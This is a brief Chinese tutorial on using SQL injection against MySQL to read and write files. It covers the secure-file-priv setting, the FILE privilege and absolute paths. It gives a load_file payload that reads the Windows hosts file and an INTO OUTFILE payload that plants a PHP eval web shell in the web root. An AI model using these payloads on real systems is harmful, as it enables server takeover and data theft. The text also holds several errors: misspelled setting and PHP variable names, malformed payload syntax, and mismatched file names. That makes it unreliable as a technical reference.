在前兩篇文章裏講了sql的基礎知識,手動注入和sqlmap自動注入。 本文章講解讀寫文件注入漏洞
我們可以利用SQL注入漏洞讀寫文件。但是讀寫文件需要一定的條件限制。
前提條件:
1.secure-file-piv 可以在phomyadmin中看到該變量,該參數在高版本的mysql數據庫中限制了文件的導入導出操作。改參數可以寫在my.ini配置文件中[mysqld]下,若要配置次參數,需要修改my.ini配置文件,並重啓mysql服務。
關於參數的說明:
secure-file-piv 參數配置:
secure-file-piv 不對mysqld的導入導出操作做限制
secure-file-piv='c:/a/' 限制mysqld的導入導出操作發生在c:/a/下(子目錄有效)
secure-file-piv=null 限制mysqld不允許導入導出操作
2. 當前用戶具有文件權限
查詢語句[select File_priv from mysql.user where user=“root” and host=“localhost”]
3. 知道要寫入目標文件的絕對路徑
(1)讀取文件操作
[?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+]
(2)寫入文件操作
[?id=1' and 1=2 union select 1, '<?php @eval($REQUEST[777]);>', into outfile 'c:\\phpstudy\\www\\2.php '--+] 直接輸入參數,頁面如果不報錯,說明寫入成功。直接訪問寫入的文件[http://localhost/1.php]